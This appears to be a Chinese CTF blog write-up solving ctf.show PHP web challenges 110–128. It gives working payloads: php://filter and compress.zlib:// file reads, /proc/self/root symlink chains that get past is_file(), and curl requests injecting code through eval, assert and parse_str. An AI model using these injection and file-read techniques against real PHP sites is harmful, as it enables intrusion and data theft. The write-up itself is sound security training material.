0%

【Klee-CTF】CTF.Show Web入门 PHP 特性 2 web110~web128

web110

PHP Version: 7.3.11

仍未解决

知识点

  • 对 PHP 原生类的运用

做题

从这题可以看出,这里考察的是对PHP原生类和原生函数的结合运用,但由于我也没啥知识储备,所以还是得先翻一下资料,顺便看一下hint

想写下列代码尝试一下,利用 FilesystemIterator 获取指定目录下的所有文件,但是不知道为什么只返回了一个文件名?为什么在这题就可以返回flag的txt,如果恰好flag的名字不在第一个怎么办?

1
2
3
4
<?php
$b = getcwd();
$a = new FilesystemIterator($b);
echo $a;

令我更不明白的是,为什么我这里调用的是 web110.php,他给我返回了一个 web261.php?

Untitled

参考资料

web111

PHP Version: 7.3.11

知识点

  • 变量覆盖

做题

我原本想的是 v1 = ctfshow, v2 = flag 的,执行后发现为null,于是就逐个断点调试看看是什么情况。

screen.gif

可以看到,这个 $flag 进来以后就没了,那怎么办呢,其实 $flag 在外部已经被定义了,所以他算是一个全局变量,只要我们查看 GLOBALS 的值即可拿到 flag,也就是说 v1 写 ctfshow,v2 写 GLOBALS。

web112

知识点

PHP Version: 7.3.11

  • 函数绕过
  • PHP 伪协议读取文件

做题

首先可以看到,这里面过滤了 ..|http|https|data|input|rot13|base64|string ,如果没有这个,可以考虑用 http://127.0.0.1/flag.php 来绕过。其他绕过方式也可参考参考资料[1]。

然后我们看到 is_file($file) 这里做了一层判断,也就是说不能直接读取文件,不过我们可以借此判断是否存在文件。输入 /?file=/var/www/html/flag.php 返回 hacker! 代表存在该文件。

根据官方提示以及参考资料[2],我们可以通过以下几种方式获取文件

1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

前三种方式不乏都是通过 PHP 流过滤器加上各种转换(见参考资料[3])与最终 resource=flag.php 拿到 flag,最后一种则是通过压缩流与调取本地文件拿到

并且看起来 read= 可以忽略,主要是看转换,更多过滤器可见参考资料 [4]

不过最后一种在 highlight_file 遇到以后是会自动解压吗?不是很懂

参考资料

web113

PHP Version: 7.3.11

知识点

  • 函数绕过
  • PHP 压缩流协议使用
  • 多次软链接绕过 is_file()

做题

非预期解

细节其实和上题差不多,只不过 filter 被限制使用了,还是可以用压缩流来绕过。

但我不明白,为什么不能用 zip:// 和 bzip2:// ,只能用 zlib2:// ?

zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 替代。

zlib://

预期解

经过20次软链接可以绕过 is_file()

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

原来还有 /proc/self/root 软链接这种方法,学到了

web114

PHP Version: 7.3.11

知识点

  • 函数绕过
  • PHP 伪协议读取文件

做题

这题拦截了 compress,拦截了convert,但又不拦截 filter 了,奇怪。

php://filter/resource=flag.php

web115

PHP Version: 7.3.11

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);

$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

知识点

  • 通过 \f 绕过 is_numberic() 与 trim()

做题

首先我们分析题目,此处将十六进制和八进制的方法给pass掉了,所以无法使用十六进制或八进制来直接绕过。其次,此处使用了 is_numeric 与 trim 来判断。is_numeric 用于判断是否为数字,通过 trim 过滤字符,trim 的语法见下

Untitled

is_numeric函数在开始判断前,会先跳过所有空白字符。可是题目获取$req[‘number’]的时候明明使用trim过滤了空白字符这时候我们可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。
————————————————
版权声明:本文为CSDN博主「EvilGenius-」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_36609913/article/details/79296052

所以,我们只需要在36前面添加 %0c 即 \f 的 urlencode 即可绕过,

参考资料

web123

PHP Version: 7.4.9

做题

思路错了。。我一开始在想怎么给 fl0g 赋值为 flag_give_me,但完全没有想到在eval可以直接echo一个$flag。。。

我们按照代码的判断条件来操作,结果最后发现 POST 上去的小数点 . 被转换为了下划线 _

Untitled

PHP: 来自 PHP 之外的变量 - Manual

注意:
变量名中的点和空格被转换成下划线。例如 变成了 $_REQUEST[“a_b”]。

那有什么办法呢?结果后来发现,原来[也会被转换,PHP会将 [ 转换为 . 这不刚好应了我的意吗?

PHP 对输入变量名的自动转换的问题与源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<input name="a.b" />        转为: $_REQUEST["a_b"]
<input name="a b" /> 转为: $_REQUEST["a_b"]
<input name="a[b" /> 转为: $_REQUEST["a_b"]
<input name="a]b" /> 转为: $_REQUEST["a]b"]
<input name="a-b" /> 转为: $_REQUEST["a-b"]
<input name=" ab" /> 转为: $_REQUEST["ab"]
<input name="ab " /> 转为: $_REQUEST["ab "]
<input name="arr[a.b]" /> 转为: $_REQUEST["arr"]["a.b"]
<input name="ar.r[a.b]" /> 转为: $_REQUEST["ar_r"]["a.b"]
<input name="arr[a[b]]" /> 转为: $_REQUEST["arr"]["a[b"]
<input name="arr[a[]x]" /> 转为: $_REQUEST["arr"]["a["]
<input name="arr[]ab" /> 转为: $_REQUEST["arr"][0]
<input name="arr[a]b" /> 转为: $_REQUEST["arr"]["a"]
<input name="arr[a.b" /> 转为: $_REQUEST["arr_a.b"]
<input name="arr[[a.b" /> 转为: $_REQUEST["arr_[a.b"]

按照题目,第一个 [ 会被置换为下划线,之后的.就不会被转换,因此该题中 CTF_SHOW.COM 的参数应为 CTF[SHOW.COM

所以最后请求参数为

1
2
3
4
5
curl --location --request POST 'http://ef9d0de2-60eb-49b4-a94d-58f30c185f81.challenge.ctf.show:8080/' \
--form 'CTF_SHOW="1"' \
--form 'CTF[SHOW.COM="1"' \
--form 'fl0g="1"' \
--form 'fun="echo $flag"'

参考资料

web125

PHP Version: 7.4.9

知识点

  • 在eval中调用函数,使用其他变量来绕过检查。

做题

我们其实可以在eval的参数中再eval其他变量,例如这样: eval($_GET[0]) ,然后再设置参数0为 echo $flag;,不就可以了嘛?

请求参数:

1
2
3
4
5
curl --location --request POST 'http://99fb334d-dd4f-40a2-8baf-f0f0015d457f.challenge.ctf.show:8080/?0=echo $flag;' \
--form 'CTF_SHOW="1"' \
--form 'CTF[SHOW.COM="1"' \
--form 'fl0g="1"' \
--form 'fun="eval($_GET[0])"'

web126

知识点

  • 使用 parse_str 将字符串解析成多个变量

做题

草,前面没提到这个 $a=$_SERVER['argv']; 我都忘了有这个东西了,还以为发挥作用的是 ?a=1+flag=xxx 这么厉害呢。。。

由题目,我们可以使用变量覆盖来使变量 $fl0g 的值为 flag_give_me ,但我们又不能直接传入 $_GET ,那怎么办呢?

刚好由 hint,我发现题目传入的参数是 /?a=1+fl0g=flag_give_me ,我还在好奇为什么不能用 & 而需要用 + ,经过下面的分析就明白了。

使用 + 时,argv会被分成两个,分别为 a=1 以及 fl0g=flag_give_me,而此时 $_GET 只有一个数组成员。

Untitled

但我使用 & 时,argv还是回被分成2个,$_GET 此时就会变为两个,会被判断条件 !isset($_GET['fl0g']) 所拦截。

parse_str

提交 fun 设置为 parse_str($a[1]) 即可获得flag,请求参数如下

1
2
3
4
5
curl --location --request POST 'http://5f2c6d41-ccf6-48c6-a373-f554ec454ebd.challenge.ctf.show:8080/?a=1+fl0g=flag_give_me' \
--form 'CTF_SHOW="1"' \
--form 'CTF[SHOW.COM="1"' \
--form 'fl0g="1"' \
--form 'fun="parse_str($a[1])"'

assert

这个函数的作用,有点类似于eval?但我就不明白了,你小米把我内测资格取消掉,还把我的内测分把300多分扣到55分,你是傻的吗!

为什么eval不行?它碰撞到了哪个正则规则吗?

在assert内允许不是分号结尾的语句,例如 assert(‘$a=test’);,但是eval内必须要为分号结尾,所以将assert改为eval时,还需要把 GET 参数 fl0g 中的flag_give_me 后面添加分号,这样就可以拿到flag了。

请求参数如下

1
2
3
4
5
curl --location --request POST 'http://5f2c6d41-ccf6-48c6-a373-f554ec454ebd.challenge.ctf.show:8080/?$fl0g=flag_give_me' \
--form 'CTF_SHOW="1"' \
--form 'CTF[SHOW.COM="1"' \
--form 'fl0g="1"' \
--form 'fun="assert($a[0])"'

参考资料

web127

PHP Version: 7.3.11

做题

这里面, $_SERVER[‘QUERY_STRING’] 会提取出请求 URL 中 /? 后的参数,也就是 GET 参数的 urlencode 版。但是,由于下划线被waf阻止,我们似乎不能直接使 ctf_show 的值为 ilove36d (说起来这ctfshow的创始人是不是有什么特殊的xp天天喜欢36d的

上回书说道,彼时的璃月

我们在web123中提过,某些字符可以被转换。所以,参照该表,我们还可以用的字符为空格。

最后请求参数为

1
curl --location --request GET 'http://08c6da10-0dd4-4d75-b0f7-8d3e70f950c6.challenge.ctf.show:8080/?ctf show=ilove36d'

web128

PHP Version: 5.6.40

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

知识点

  • 对 _() 函数的了解与使用

做题

在 PHP 中,启用了 gettext 扩展的 PHP 程序上,直接调用 () 方法等同于调用 gettext(),也就是说,调用 (“hello”); 会使 PHP 返回 hello 字符串。同时,在此题中使用 get_defined_text 可以获得被定义的变量。由于此处 check() 不允许变量 f1 携带任何字母和数字字符,所以只能从f2进行下手。

在此题中,也就等同于只能访问一个方法使得其获得flag。我们可以使用 /?f1=_&f2=get_defined_vars 来获得 flag

其他问题

  • 有没有只通过一个函数来getshell的方法,比如说匿名函数?
  • 有没有可以通过一个函数+一个参数,但是关键的控制函数(如eval,system等)被限制使用来getshell的方法?

参考资料

toxic

Gettext